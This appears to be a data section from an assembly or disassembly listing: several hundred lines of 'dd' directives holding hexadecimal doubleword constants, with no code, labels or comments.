		dd 0C2F6E32Dh, 3F4C2109h, 3E3296C2h, 99F3345Bh,	0CC8C5665h
		dd 0EFABF07Ah, 0AE3CFC8Fh, 74187DFDh, 0C49759B3h, 886EE203h
		dd 5493275Ah, 0CFAFE78h, 4A157D2Eh, 8368868Fh, 1C4FC387h
		dd 8A5167F3h, 6DF721CAh, 0C5F9B6Dh, 806E6E48h, 9C88D447h
		dd 97FAD03Dh, 0EF820624h, 0DFE1CDBh, 69A2D6C3h,	0F32C5CB1h
		dd 3E3D6289h, 0E385B9C0h, 1ACFh, 1FCB04B7h, 0E7538C3Ah
		dd 63D710A2h, 0EE5C9D2Eh, 6822E5ABh, 0AFD1CB3Fh, 345BBE6Ch
		dd 0B5C207F3h, 14B8E7Ch, 7BFF14C6h, 0F9290730h,	0EB23DE3Bh
		dd 62C80349h, 0AB94BDEEh, 826946DFh, 2820A256h,	478034A9h
		dd 0DFAB0B34h, 6DAAD346h, 0BFBB6E1Dh, 0FC9300ECh, 600B8F3Ch
		dd 3BFC9337h, 1B3C8429h, 6882F80Fh, 0F5A86315h,	2E9C8F9Bh
		dd 0F7F3FB3Eh, 0C6822911h, 93218BDh, 64E62354h,	0BE6DBD97h
		dd 26BA3EBAh, 0DEDD4C75h, 277A2146h, 46DEDCFEh,	0B7E824D7h
		dd 882E000Dh, 62C83E3Ah, 3C48BEEh, 2B6ED6C9h, 7C11754Bh
		dd 64449049h, 0ACDF93B7h, 0DA320EFFh, 0F37D57CFh, 822911F7h
		dd 6FA9CCBEh, 0E50E5DD1h, 0B87F2DCBh, 46DA60D3h, 624EAF35h
		dd 2771E3A0h, 9D4D8632h, 6D96C559h, 407F2DEAh, 7018715Bh
		dd 26144DB7h, 0EB0FD182h, 19DE35h, 0DA13A600h, 0A29D2D60h
		dd 26E195E8h, 0AB6C1174h, 31EA9AFFh, 0C0BC2E79h, 4A8F7BBCh
		dd 3508C23Bh, 0BA9F4B84h, 0EE65D50Eh, 28163F6Ch, 32EF3BF9h
		dd 87D4A8F4h, 46DFAB5Eh, 7E30B310h, 0FA10AD59h,	0A6D2C711h
		dd 0A316D1FBh, 5B2D2DA7h, 0E3951A12h, 47E35603h, 980C2534h
		dd 9ED12F5Ch, 0E3D1D5D8h, 0B6428EDEh, 0FB9805E5h, 0D7E5983Ch
		dd 3E8301Ch, 5BA3A757h,	0DA81A99Fh, 3218A61Eh, 0DBA08A71h
		dd 1F302CFDh, 34C6126Fh, 37EE0463h, 69DF9BB3h, 0BF329AC1h
		dd 1605A053h, 8C7A7EF4h, 5562AAEh, 0B093DEDCh, 9D8ECAB1h
		dd 0A6B0E5D9h, 0EF2851B4h, 315B3E3Ch, 6C1174F6h, 0BACAAFABh
		dd 0C6428E41h, 0C23EF983h, 0A6795B8Bh, 10A046FAh, 0F4000019h
		dd 7B5E0CC5h, 0E3269453h, 6FA218DFh, 0E82D9D5Ah, 78B763A4h
		dd 0AD6E1E8Ah, 34F598FDh, 0BD7A0346h, 7C088CDh,	713AB053h
		dd 3BF92748h, 0A82A601Dh, 0AB5E87D4h, 443746DFh, 5BB57207h
		dd 0A9914A7Eh, 0C2488134h, 69FB1F79h, 8539771h,	3CFC926Ch
		dd 9A827823h, 0D6C68272h, 0B5B568A1h, 19742AE6h, 0B2B66532h
		dd 9E300AE1h, 4BBDBD51h, 4FD8AEFh, 1FDB3506h, 0BA08E44Ch
		dd 4AD0BB3Fh, 2D08C5B6h, 0CF19DC5Fh, 0C0FA28B7h, 6CCE81F6h
		dd 3DCF163Fh, 0D03CEF4Fh, 76F45216h, 5AD56125h,	0FB7F2C45h
		dd 4139F286h, 59837C0Ch, 7134AFCh, 5C2DC367h, 38000018h
		dd 0AFE25891h, 176A201Fh, 93F6A463h, 1C7129EEh,	0ACFBAF68h
		dd 0F932423Eh, 40B9CC01h, 0C906B78Ah, 538C3C11h, 0BDEE6CE7h
		dd 3BF92694h, 497E8C69h, 1962C803h, 3D22CDFh, 36E22E55h
		dd 0E04ABCBCh, 72053F9Bh, 92FE4333h, 4C151546h,	13F83CFCh
		dd 5C0F83A7h, 3BFC4C33h, 1C45160Ah, 0F13BFC4Ch,	0C97D570Ah
		dd 222424AEh, 0AED78418h, 873BFC4Bh, 0C8BB7402h, 631F4C8Ch
		dd 0EA321930h, 0EA90C1F7h, 6BDE2D2Dh, 2812F921h, 4FCB04B5h
		dd 0D5E90FCh, 0B4183321h, 9AA0A6A2h, 9C5B6306h,	60438D7Eh
		dd 0A93407F8h, 34BE5C4Fh, 4368D234h, 0A3D12C7Fh, 0B8DD1D0Eh
		dd 2E63D710h, 0C67A19Ah, 339D9924h, 1795791Fh, 4A710000h
		dd 0D6E4D991h, 5A6CA119h, 0A7E82D9Dh, 2355A862h, 5F532E8h
		dd 7832F59Bh, 0C1B97205h, 4802FF8Ch, 0DE8C4775h, 0CDF6A535h
		dd 0A03BF924h, 349B5F5h, 0D0E59D48h, 6B110DEAh,	0AFDB0h
		dd 0BA808642h, 0F9A5FDF1h, 8FAB503Ch, 0CFF3DEEAh, 79BEC308h
		dd 2EC7D486h, 393BF973h, 77AC046h, 0A794B671h, 10B89D6Dh
		dd 9C163D7h, 7225E6A9h,	0B4AFA3C8h, 0ED9E3213h,	0A562284Dh
		dd 2DEA90F5h, 4700482Dh, 98ECC53h, 0B3EDA034h, 9D073B6h
		dd 17C96Dh, 84000017h, 0B4E3CF5h, 0F3D68443h, 7F5208CFh
		dd 0F8DD8D4Ah, 48A713D4h, 5D9E2E9Ah, 24E5A8EDh,	0AD6A1376h
		dd 37F098FDh, 610AC043h, 3BF92538h, 0A61A100Dh,	0D586A4A2h
		dd 3CF9ECE1h, 0E69B5F4Ch, 83A119D2h, 60E446CCh,	0F92D123Bh
		dd 47703B3Bh, 1E3BF92Dh, 226E1D6Dh, 883F52D6h, 0A0D6CB4Fh
		dd 0A518E367h, 2D1B386Bh, 9F23BF9h, 2D6E9A01h, 4E703BF9h
		dd 9F2C8189h, 50E9B8A2h, 233EA8Eh, 0AAFF88A0h, 4CF54D90h
		dd 0A1000000h, 87A3A7A6h, 0DFAA9FD4h, 5D9D8E46h, 0B3579038h
		dd 0BFEC0C48h, 46DFAB92h, 0BD8B57C8h, 4776D400h, 2608h
		dd 537F7400h, 0F446DFABh, 0A32812F4h, 552DB7FAh, 78F0DC23h
		dd 0FC991F33h, 1DDDCE3Ch, 99A9D299h, 8F7C3BFCh,	0A6B5C545h
		dd 0D586A4A2h, 3CFC99CDh, 0E35C6DA0h, 33562A30h, 0FCCF4B8Ch
		dd 8BC2EF8Fh, 0B99346B2h, 3BEF2850h, 0F179B2C6h, 99052E7Dh
		dd 63083BFCh, 3BFC993Ah, 69126813h, 12770B2Fh, 960AC65h
		dd 2B868447h, 12A648EAh, 2569384Fh, 209378E2h, 0D2B9BD6Dh
		dd 52197443h, 3BFC5D29h, 1DC0FFCh, 0E1C804B4h, 68FA60DBh
		dd 7549670h, 321974B7h,	0E2256B0Eh, 0D18972B6h,	61C96E1Dh
		dd 0A4206920h, 0D72DF0F8h, 0ADE75A59h, 47C33C4Ch, 0AA0B4654h
		dd 7BE71CCEh, 7426E1ABh
		dd 92266B11h, 974AB159h, 2C6D1E73h, 7332A4FFh, 0CF4B3E5Ah
		dd 5E549C6h, 6ACEBC77h,	22ECEF61h, 0EB25406Ch, 0E397FA8Eh
		dd 1BE97124h, 1A41E95Fh, 0C4C64AB2h, 0E1249685h, 4C5F6DBh
		dd 0A1D4C951h, 1BAFC268h, 11C43D4Ah, 22D60209h,	0C2248E47h
		dd 15A5EBB6h, 0A4F1D46h, 580BF0D4h, 446D3EB2h, 19D40A4Fh
		dd 0F0BBBF72h, 0D40A4EC7h, 403AED9Eh, 794C9FECh, 0AAE9E77Fh
		dd 0CBB2DB80h, 0E08BD409h, 8B3745B4h, 9CBB7E0h,	8D1D8ED4h
		dd 0AEA48431h, 0B75306F9h, 6FCB3D3Dh, 2708683Ch, 0F58207CAh
		dd 7CAD1E3Ch, 0F8DDB391h, 0B06ADD90h, 56F42F5Dh, 0A8D11845h
		dd 0E042FBBEh, 0A5F67A0Eh, 0DEA8D17Ch, 518E3C51h, 0FB7F2B9Eh
		dd 0D10B3467h, 39E2DEA8h, 14CDFADFh, 0CE09B3D6h, 4D735682h
		dd 40B36C1Ch, 0DA6C2021h, 7E9C4F30h, 96B4731Bh,	45DB5225h
		dd 66A3BD8Ch, 10759556h, 0CB40AD6Ah, 80521167h,	3D1ED9EDh
		dd 43C8528Dh, 9072FC09h, 690C2EEBh, 9665E526h, 776ACEBAh
		dd 6A4F8946h, 2346E45Dh, 4AB1599Eh, 0C2F7EA0Eh,	0E4562505h
		dd 5FCFDDBDh, 87E21642h, 98E3E44Eh, 0B6F417B9h,	9E2E6BFCh
		dd 24EBD5Dh, 0F1A96617h, 2832EF9Ch, 6E982754h, 3FE0F613h
		dd 0B59F528Dh, 0B8CFAFABh, 3D70DB7Fh, 0AE989851h, 8AB063FDh
		dd 0E82F5336h, 31D91EA3h, 959D8ECAh, 68D4C5C3h,	0B2C2A783h
		dd 0AAFB1F79h, 42BDCDA0h, 2E5704D8h, 7E409E7h, 216EA114h
		dd 0C56B4854h, 0AF33CA06h, 39F12E5Fh, 0DF7BB4C4h, 0F62CEFAh
		dd 426BBE79h, 1BE409BDh, 0A29DBD70h, 70ABDDB0h,	0A545E924h
		dd 0ED6EDC17h, 25A33E50h, 4258h, 23A84400h, 0A25CFC49h
		dd 4CADE7DFh, 8A58C23Fh, 7EF278CEh, 11FBDE0Dh, 14476981h
		dd 46DF4CEBh, 2A66D9C2h, 0FC4519F9h, 0DB8F7C3Ch, 1DB37407h
		dd 63588EE6h, 2F6B94C7h, 59423BFCh, 3CD97Fh, 49CD0000h
		dd 0E244700h, 3A764777h, 4901C347h, 75067BFFh, 0CB9058B4h
		dd 3CFC7B3Bh, 4944A9D2h, 5AC03B4Dh, 4E43BEF1h, 13975306h
		dd 0FC461F48h, 2972F63Bh, 3BFC4600h, 197326D5h,	599C59A1h
		dd 0D3F9D991h, 0D685A518h, 3CFC8F1Ah, 0F1A28675h, 504979C8h
		dd 0BF93E4Dh, 0EB86330h, 0C64038C2h, 0ABCF3764h, 0F5A63EACh
		dd 6DDB9F55h, 90DA9ECDh, 0C6B54849h, 92BBE064h,	5A488F90h
		dd 0E655F52Eh, 0ADADE794h, 0A9D180C8h, 0AC1FEC6Eh, 77077AFEh
		dd 0EA2D53B8h, 58B19B60h, 0AA8DF730h, 7908207Fh, 12ED23C5h
		dd 0E2A90000h, 6E1C7129h, 0F284F9B1h, 7F004535h, 0FB8DC0BAh
		dd 0AD5D4A00h, 904A8D33h, 19D10ABDh, 0E05A9724h, 76241FADh
		dd 254E1DDDh, 0F83BF921h, 567F0D1Dh, 0F146DFACh, 37F099F9h
		dd 0D5B5E644h, 0B83CFCC9h, 0E89317D3h, 0FEEA82B7h, 7059B3C3h
		dd 0F9DC8E4Bh, 9EF317D0h, 66F731EAh, 0BD14B42Eh, 1289E799h
		dd 7E0D0000h, 0CAF0D585h, 56785D0Dh, 0D3E4D991h, 5F61A416h
		dd 11C12E9Ch, 7426E197h, 0FDAD6E11h, 4436F398h,	0CA807B01h
		dd 0C1EAB139h, 943BF91Fh, 0A2A6A1E9h, 0D9E386A4h, 5407C088h
		dd 0D6C0DB61h, 6BA52AECh, 32606BEFh, 68D97F23h,	1A78C14h
		dd 96EDD3CEh, 0E78969BAh, 49CC3CFBh, 6F42C803h,	907B9F58h
		dd 0ADC06ADDh, 1568221Dh, 0C6893C65h, 69D278B1h, 0F4A794B6h
		dd 8E497356h, 0A20C058Ch, 0DFD3A40h, 560BE31Dh,	0EAB7E08Bh
		dd 9D8E3BFBh, 5B6D002Ah, 47917AE0h, 69A6D4B5h, 0EB8EBAE1h
		dd 0DB783BFBh, 9EC7F717h, 0A2EB30E9h, 0A316E565h, 2BE492F7h
		dd 0E45D6A0Fh, 9FBB9566h, 1BCFB0DBh, 28486922h,	0E06662ECh
		dd 6D7D115Ah, 6B103216h, 251EAACFh, 128AF175h, 0F1FCF3Bh
		dd 0A4CDF6A5h, 0FBA046DAh, 0DFEDCC08h, 6C6CE664h, 0AFDC509Ah
		dd 8A32FCFFh, 7AADE76Dh, 3CF4866Fh, 0B0D51506h,	261BCF08h
		dd 40BFCF92h, 94C98D8Dh, 64EE2AE7h, 0C458E264h,	0F4201BA1h
		dd 1980B3B3h, 8DC18A32h, 6F54C440h, 47DBCF09h, 0DF65EB14h
		dd 66D9C246h, 0D0AA9F3Ah, 0DC729609h, 114Fh, 9F4B8437h
		dd 67D30CBAh, 0E3579022h, 6EDC1DAEh, 0E8A2652Bh, 2F514BBFh
		dd 0B4DB3EECh, 35428773h, 81CB0EFCh, 0FB7F9446h, 0F91F87B0h
		dd 6BA35E3Bh, 0DFAB4F7Fh, 0A9661746h, 77187DF1h, 0E85B9424h
		dd 0B5BF9962h, 77B0C5B5h, 0B5B568D3h, 992B5C31h, 0DFABA9D2h
		dd 0DC8F7C46h, 0ED9CAFF0h, 6753CF9h, 0D05FEB8Ah, 42E85B08h
		dd 0BD5D9A2Fh, 93F6024Eh, 0DF6AA8EFh, 0A6E80B87h, 8FF707F3h
		dd 47F6DCF6h, 17DFAh, 0D4A8AA00h, 0DFAB5E87h, 8443746h
		dd 0E6380ECEh, 488335A8h, 0DB1F79C2h, 0DFAB6490h, 63B31646h
		dd 488335A8h, 0DB1F79C2h, 12F79593h, 85A5A5A6h,	311BDCE0h
		dd 0A6E2CAEDh, 0F299A1A9h, 4C0D33E4h, 0F529632Dh, 0D0C23A8h
		dd 3802E39Fh, 0A9E35693h, 0E68FF7A7h, 0DC4476DCh, 0AAEA1358h
		dd 0D8C343DFh, 0F0BCCF3h, 582ED03Ch, 5E000000h,	51A5A5A6h
		dd 0DBA723A8h, 0ACFA477Ah, 256F221Fh, 8F3C51D5h, 9AC3E852h
		dd 7346DEDAh, 2F5B4C88h, 0DE46DEDAh, 334213BBh,	38EB50FAh
		dd 0CFDFCCDCh, 2B50D4A8h, 0D134FDF1h, 48718402h, 0CD46DF31h
		dd 0DF31759Eh, 57A34846h, 493468A4h, 86ACC205h,	1B8A26h
		dd 0A6220000h, 0A851A5A5h, 0DFAAD703h, 0D6289B46h, 54900A8h
		dd 0F286ACC2h, 0E22EE99Fh, 0DCE68FC2h, 40EA4476h, 9A000000h
		dd 4DA1A9A6h, 0AAD703A8h, 45B646DFh, 46862553h,	56A81B8Bh
		dd 9B1D4A8h, 57F33458h,	222931E4h, 0F515D6F9h, 49DACA06h
		dd 1764C601h, 3042674Fh, 0EA25578Fh, 86C9DD37h,	368A26h
		dd 0A6220000h, 0A84DA1A9h, 0DFAAD703h, 8BE9B46h, 0DC04BCFh
		dd 87D4A8F9h, 46DFAB5Eh, 3F683337h, 1646DFABh, 9266B265h
		dd 0C60149CAh, 0ED23A8B0h, 0D5B90061h, 2E7E98F4h, 468135A8h
		dd 0C09F7C4h, 0B448E144h, 886197C1h, 0E1FFFFFEh, 2290F9Ah
		dd 0BCC1211Ah, 0B96CDF7Bh, 0A2A64F5Fh, 0E1D586A4h, 4C3CF9ECh
		dd 0D2E69B5Fh, 0CC83A119h, 2D416A31h, 67143BF9h, 0BCE5B6B4h
		dd 913BF92Ch, 103B60EAh, 4A3BF92Dh, 651809D5h, 99BA9651h
		dd 4D90AAECh, 49E4h, 527F9000h,	1A46DFABh, 61C5B56Eh, 99817E0Ch
		dd 0AB6D96C5h, 5B4046DFh, 4F7BACE8h, 0FE46DFABh, 1744F49Bh
		dd 46DFAAEEh, 0F961D4C7h, 4285C912h, 3A0CCC16h,	98A36B30h
		dd 0B72A3CFCh, 0FA41C906h, 29E18A9Eh, 0AD17h, 0A2A68700h
		dd 0B9D586A4h, 943CFCBDh, 992E43E7h, 576EAA0h, 817EBEABh
		dd 2D0C482Fh, 2DA7A39Ch, 8328AC2Dh, 3BFC865Ah, 0C354833h
		dd 0E13BFC86h, 8EE3473Ah, 2F1C3EFFh, 0CA4615E5h, 453216C8h
		dd 0C8F19456h, 51665B0Fh, 8DFE7298h, 5154859Dh,	4E88C4B9h
		dd 0EDBEBC8Ah, 3CF454F3h, 479C1AAh, 3E93B770h, 7DCE4C8Dh
		dd 0D78A4E8Ah, 5DB06AA5h, 788F42Fh, 1214B44Bh, 0E4D58FEh
		dd 82C90000h, 0EBC9149h, 922419D1h, 1FA0E555h, 9B2D60DAh
		dd 4DBDEAA0h, 30EA2D53h, 0B971AADDh, 0FA3744h, 9644BFCDh
		dd 85AEFD7Dh, 583BF91Ch, 3496DBDh, 5D6F42C8h, 5B9F78E2h
		dd 63078E30h, 87D1705Eh, 8EE3E44Eh, 0E6D33DFEh,	0FF8FD2h
		dd 0C17E9D4Dh, 0CB4776B4h, 6Ah,	0A4A2A6BBh, 0BB6DD586h
		dd 7D103CFCh, 0B2751948h, 669595FFh, 0F452C35Fh, 40CABDD3h
		dd 36E45F6Dh, 0F22D5F32h, 40A9E368h, 0E77BFF38h, 1E3CF582h
		dd 0B1B1DA2Dh, 97843BFBh, 13D79DBDh, 0B1F01942h, 0D6C53BFBh
		dd 5306C1F5h, 46681397h, 0F5935B52h, 9EBC7D00h,	8D9EFAADh
		dd 3218DF71h
		dd 0A3378FCh, 0E346DEBBh, 0DFCCDC38h, 35A8236Bh, 6DAEDE83h
		dd 8FAB90BAh, 0DFAAB3DCh, 0B7E18A46h, 0FFB3442h, 0C743BCCAh
		dd 0DFAA9ED4h, 96385D46h, 1642C951h, 0ED5D9A23h, 0A5621449h
		dd 1FE9E16Bh, 0ED8A90DBh, 1A013CF9h, 0CE09BDD0h, 0F68F0C1Ch
		dd 0FA47F6DCh, 12Bh, 8735A8AAh,	6C6004Ch, 30473A00h, 0ACE853F7h
		dd 87D4A878h, 46DFAB5Eh, 0C0084437h, 0DFAB6F9Bh, 92F76346h
		dd 0ADD629E2h, 8046DFAAh, 0A8D6289Bh, 0CF08B1D4h, 9094C04Bh
		dd 5E87D4A8h, 3746DFABh, 4FFD0844h, 0A5A5A6AAh,	8235A851h
		dd 7DA90F49h, 4DA1A9A6h, 0E68FFEAEh, 0EA4476DCh, 28h, 0A5A5A69Ah
		dd 0D703A851h, 0B646DFAAh, 0A8B1C5h, 0F5AD23A8h, 0B5E82156h
		dd 8ECA1B97h, 0CE20E7ABh, 278A2686h, 22000000h,	85A5A5A6h
		dd 3F19DEE0h, 0B1D4A8EFh, 0A285CF08h, 46DFAB76h, 0A8718564h
		dd 0C2054900h, 8735A8ACh, 137DCE4Ch, 23A8B5E9h,	0FD6FCEBCh
		dd 0B364B0B8h, 44764A1Ah, 282Eh, 0A9A65E00h, 0D4A84DA1h
		dd 0F20B3FA7h, 61AAA3C7h, 73B4E05Bh, 46DEB247h,	0A8217526h
		dd 0C6014900h, 8A2686B0h, 3Dh, 0D6A9A622h, 0DFAB5C85h
		dd 174A3146h, 83A84975h, 0DB2B9E1Eh, 5E87D4A8h,	3746DFABh
		dd 9BC00844h, 46DFAB6Fh, 0A86E8063h, 8F57A7D4h,	0E887C94Ah
		dd 35A878ACh, 2A0F4982h, 8653A39Ch, 0FECC8A26h,	0A622FFFFh
		dd 0D586A4A2h, 3CF9ECE1h, 0E69B5F4Ch, 83A119D2h, 0E33FC6CCh
		dd 9ECA1372h, 647C0F2Bh, 863CA995h, 0D14A0073h,	50BC1D87h
		dd 0FC70F404h, 0F99486AFh, 60AC5F3Bh, 0F994163Fh, 2C5A3F3Bh
		dd 93AED784h, 94873BF9h, 86D23921h, 0FD71F9A2h,	0F99485AEh
		dd 59B3583Bh, 93BFEAB1h, 8353BF9h, 0C3E582A6h, 45D94D90h
		dd 0F98BED16h, 0F1DBC03Bh, 284Fh, 23A83F00h, 0E081B76Eh
		dd 0AF1A2F9Eh, 0A2A2215h, 81224B10h, 10FB46DFh,	330735Dh
		dd 0EB46DF81h, 92B466A1h, 0BBh,	0A4A2A60Ah, 0A681D586h
		dd 3FEC3CFCh, 0F831463Bh, 36BECF02h, 0FCA73C65h, 0B76A113Bh
		dd 6CADDEB3h, 8E3C1DEEh, 1642C951h, 9E6860E2h, 0E9970F5Ch
		dd 1D0E3216h, 0E73259DDh, 0D66E0A3Ch, 0DBE0C903h, 2069AC1Eh
		dd 808A4D71h, 8042C8BBh, 0AFFC7EC8h, 3CF444B5h,	77B0D9BCh
		dd 0C7880D1Dh, 2525E294h, 14E763D6h, 0D4E499A1h, 378BAF1Bh
		dd 0FBDA3B64h, 7099C23Bh, 453BFBDAh, 7D574456h,	49B36C1Ch
		dd 14B43646h, 0F007B95Dh, 9400000Ah, 1B7E2CE5h,	83C6B473h
		dd 0F4238FFh, 88CDBD7Ah, 585703C4h, 4D8E3EAAh, 0D415B89Dh
		dd 5D9A2366h, 27E0A8EDh, 511AD073h, 3BF91928h, 0A80A00FDh
		dd 0B8206523h, 0A1EBBDB6h, 0EF470048h, 0A0A802E1h, 67828869h
		dd 8E67DB34h, 0E69B1FDBh, 0D80114D5h, 0AD46DF4Dh, 36692FEh
		dd 0A39CBE79h, 0BACE2082h, 0F5728941h, 0FF477689h, 4Bh
		dd 0A4A2A6AFh, 0B78DD586h, 3BE03CFCh, 430EBA1Fh, 5307FA3Dh
		dd 11CAFA9Fh, 6DA6D2C7h, 0E56367EDh, 0AF703645h, 5E40D5Eh
		dd 0D2B93BFCh, 26026B9Fh, 0E1EA6EEAh, 0A38F4E80h, 0ED9BCE90h
		dd 12E420A3h, 0E83C6FA9h, 873218BCh, 49D62694h,	714C601h
		dd 46DFAAD7h, 80470B6Eh, 9B546554h, 0C345052Fh,	0ECC93467h
		dd 0FBA03CF9h, 0B46D1A7Fh, 5064A596h, 39BDBD97h, 0F29BBF52h
		dd 51BBF9F6h, 0D9915678h, 0DCF68FD1h, 61FA47F6h, 0AA000001h
		dd 8236A6A6h, 0A8809649h, 0DFAAD703h, 2289B46h,	0A0A36179h
		dd 19735F3Eh, 9500A805h, 19A3C6F7h, 0DDEDEBDEh,	0CD468000h
		dd 23A8A383h, 0D0887815h, 0B9438D60h, 0CA3046C4h, 0A1A9A6E2h
		dd 80E1F299h, 0DC3B1110h, 0D508D905h, 1744B27Ch, 46DF08EEh
		dd 3761D4C7h, 8FFEAEF7h, 4476DCE6h, 3CEAh, 0A5A69A00h
		dd 35A851A5h, 7BC04A85h, 65AF681Eh, 0AB9AC695h,	867546DFh
		dd 0EDBCC1A4h, 14E763DCh, 0A83777A1h, 0C2488335h, 93DB1F79h
		dd 0ACC20549h, 0EA9FF286h, 8AC3E32Dh, 1Bh, 0A5A5A622h
		dd 8235A851h, 0A0CB0F49h, 46DFAB74h, 0A8738366h, 0C2054900h
		dd 0A82686ACh, 6E3D8535h, 46DFAB45h, 9A807318h,	1BB467B1h
		dd 314476DCh, 4Ah, 8435A85Dh, 107CCF4Bh, 0DD3119D6h, 0EB1D4A8h
		dd 74A083CDh, 4B46DFABh, 35A84EA0h, 7D004982h, 63AD9EBCh
		dd 23A8C797h, 9D4BB558h, 1504507Eh, 50893C65h, 35A8899Dh
		dd 7DCE4C87h, 0C61E913h, 5757817Eh, 3A8Ah, 35A82200h, 47703B87h
		dd 1E46DFABh, 0AB90BA6Dh, 60EAE761h, 0D703A80Eh, 6646DFAAh
		dd 51BB7C03h, 0A8718564h, 0C6014900h, 36281764h, 0C868D563h
		dd 0ADE0B8CDh, 0E22E007Bh, 8A2686C2h, 0FFFFFE9Dh, 2CEB93F6h
		dd 0B3F3DD2Eh, 6BE323A8h, 8A16D736h, 42C4844Eh,	7FBFB3F8h
		dd 0FDAE3CF9h, 2170187Dh, 4BB05A9Dh, 4D002298h,	12A71F9h
		dd 43BF99Bh, 7C9E5961h,	0B665458Fh, 9ADC0794h, 0D4163BF9h
		dd 81CA0DB1h, 3AD33DFEh, 0C41790B8h, 2C1D4D90h,	5D000000h
		dd 23B5CE2Eh, 0C10BE518h, 0AB527FDDh, 6E1A46DFh, 1EC6B5B5h
		dd 3D865384h, 77EB5FB9h, 147FA8F3h, 0A55646DFh,	0B7CD6Bh
		dd 0A6D90000h, 0F586A4A2h, 74B4567Dh, 6BEF29BFh, 0FC040040h
		dd 46E4973Ch, 0ED5D9A23h, 4A6E3A8h, 7DF09D72h, 8C46C4B7h
		dd 9DF07ACCh, 16E22EE9h, 169AC145h, 9B5F4C32h, 0AFD88307h
		dd 0B746DA7Dh, 0F942C807h, 0BB9EFAA1h, 0FE394312h, 4D7A5F0Bh
		dd 8D335694h, 117BC04Ah, 996F6BF9h, 0C3100A51h,	94873CF4h
		dd 77A9D256h, 26DAAF5h,	4C752604h, 213BFC44h, 913B1E7Ah
		dd 1BA1E456h, 0CCCFE420h, 5EF214B3h, 79AB8h, 964F7A00h
		dd 1ED9E124h, 0E22569ACh, 67A0D528h, 0ED2E5EB3h, 8400F23Dh
		dd 0E4337F0h, 89CCBE7Fh, 7E5307C0h, 2AD9914Ah, 14D2FBA0h
		dd 0CEAB3BF9h, 0C80349B8h, 0CFB41962h, 0D35EC1EBh, 0DF355F88h
		dd 92453646h, 8D3F9246h, 0A0D5C852h, 0FF8EE367h, 0BC951C3Eh
		dd 669F4632h, 0E196CBFCh, 0FFD92228h, 4535EE9Ah, 76A639C6h
		dd 253347h, 0A6630000h,	0D586A4A2h, 3CFCA8D9h, 5843C7B4h
		dd 3BFCA92Bh, 1632BCA1h, 4D95D269h, 4B8C3055h, 33FF01h
		dd 0A6AF0000h, 0D586A4A2h, 3CFCA75Dh, 3EF98DE0h, 0C5E52F1Ch
		dd 0DDB034D6h, 0F3D674AFh, 7C580BCCh, 0C6B46F1Dh, 1C3EF983h
		dd 0B6B49256h, 1993A5E5h, 5703E832h, 955D9C47h,	0A4F773D5h
		dd 3CFC8FE8h, 1F70F4A7h, 7B86C595h, 0D2D0B6B2h,	0CFD51FFDh
		dd 0E4EAA9D8h, 2346FB1h, 58C0EB4Fh, 0FF72671Fh,	0D834ED9Ah
		dd 0B53FDBC0h, 139753B5h, 428E4F7Eh, 86059D61h,	0EA5B207Ch
		dd 4384CB71h, 3A0174C7h, 0F1B75EEh, 11BBDE1Ch, 9B2164D6h
		dd 4B3D64A0h, 0C064D466h, 6722Eh, 0AE671200h, 36F199FCh
		dd 0BA7D0144h, 3FF88DC0h, 8546764Bh, 0BC28DAD5h, 261BCF08h
		dd 0A1E45697h, 166BDF18h, 52F1A962h, 13AAD398h,	96833BF9h
		dd 0C8034990h, 9C5B6F42h, 0C244042Eh, 0EDAF3378h, 0DA5E3CF9h
		dd 0F92D6891h, 9B4E3D3Bh, 0AF681A7Fh, 0B6E32475h, 25DB7F14h
		dd 617h, 0A713CCFFh, 2F9B5462h,	0AB1FD8EAh, 36E42556h
		dd 0B06AADD3h, 77198377h, 0FC83C6B4h, 7D0A4F3Bh, 0C9F3D684h
		dd 23B75C0Eh, 0F9144F78h, 337B263Bh, 86A4A2A6h,	0F9ED5DD5h
		dd 0CF4B303Ch, 251FD8EAh, 14B758F2h, 0CC1BBD51h, 48000005h
		dd 3F12C801h, 0A79A508Fh, 2366D413h, 0ACE1599Eh, 3C6BDF18h
		dd 69A2D2CEh, 0F0295CB1h, 79B6C73Ah, 0C33C4C81h, 2D7EFC17h
		dd 3BF91304h, 0A6EE3CD9h, 0D586A4A2h
		dd 3CF9ED59h, 0EEC34734h, 163F6CDCh, 0EF3BF92Dh, 0BE1F493Ch
		dd 0B514B758h, 579FF91h, 6E1D0000h, 0FA80C5B5h,	46084D3Dh
		dd 0C3F4C981h, 4F715406h, 21D1DE8Ch, 64D611A7h,	0ED5D9E21h
		dd 7426E3A8h, 0FAB06B11h, 0B1DA8149h, 843BF912h, 3499199h
		dd 5D6F42C8h, 0AB9DC695h, 8B7046DFh, 0BE5732D8h, 6DA6D234h
		dd 8EC4BECDh, 74B73D0Dh, 0A3A76017h, 0A88C7C58h, 0CF4B8435h
		dd 9339107Ch, 0BDE9B258h, 0A146DF9Dh, 5D30DA1Dh, 0E556F42Fh
		dd 31D916A4h, 69F12E5Ch, 3AF86E2h, 5B073C75h, 14C6014Bh
		dd 0CA508B31h, 0E92E5336h, 5BBE9A61h, 0B1DA8131h, 8446DF9Dh
		dd 0CBBE7901h, 0EB8EA218h, 202A66A1h, 791CDE28h, 85769457h
		dd 88DC8F4Bh, 0E73CFCBAh, 29533634h, 79B3306Eh,	1DD07511h
		dd 16C20EFDh, 0FC505885h, 0C569963Bh, 9D2D40C4h, 50264FA2h
		dd 0CFF3BFCh, 8F962FC0h, 349A4D95h, 0A000000h, 0F53C23A8h
		dd 2114D7F9h, 0E12B3764h, 45E56367h, 2019ACC1h,	0C612D5FBh
		dd 0FBF735E5h, 0D773183Ch, 0FC2797C4h, 8628D53Bh, 955405A2h
		dd 0F70F4Dh, 497F0000h,	0B2E4803h, 0CBE11843h, 57A9D218h
		dd 8F4D4ABEh, 4CC3164h,	13A70023h, 8BC1139h, 22564BCFh
		dd 89914E7Fh, 564BCF82h, 0EA31E922h, 46DF797Ch,	0AD1DD6E2h
		dd 63E72068h, 0DB1FE9E1h, 0FC956C90h, 0ED9EF33Ch, 0A4B8E02Ch
		dd 0DF7BBCC1h, 0A4F0196Ch, 0D6C53BFCh, 0DEB3B763h, 0DB256FA8h
		dd 6C01291Fh, 98C1EA5Ah, 6D3BFCA5h, 6A4FCBBEh, 9378E25Bh
		dd 3764F420h, 32184726h, 934C7A1Fh, 50488477h, 0E1548F3Dh
		dd 20902459h, 0D2D6FFACh, 0FCAF46D8h, 0D8D380A9h, 73A65546h
		dd 5881004Eh, 86A41794h, 321ED9E3h, 8A4D7356h, 0D7456B5Eh
		dd 0A84EE209h, 3AFh, 3FEB2457h,	8773ACDAh, 3F73042h, 8E7CBDCEh
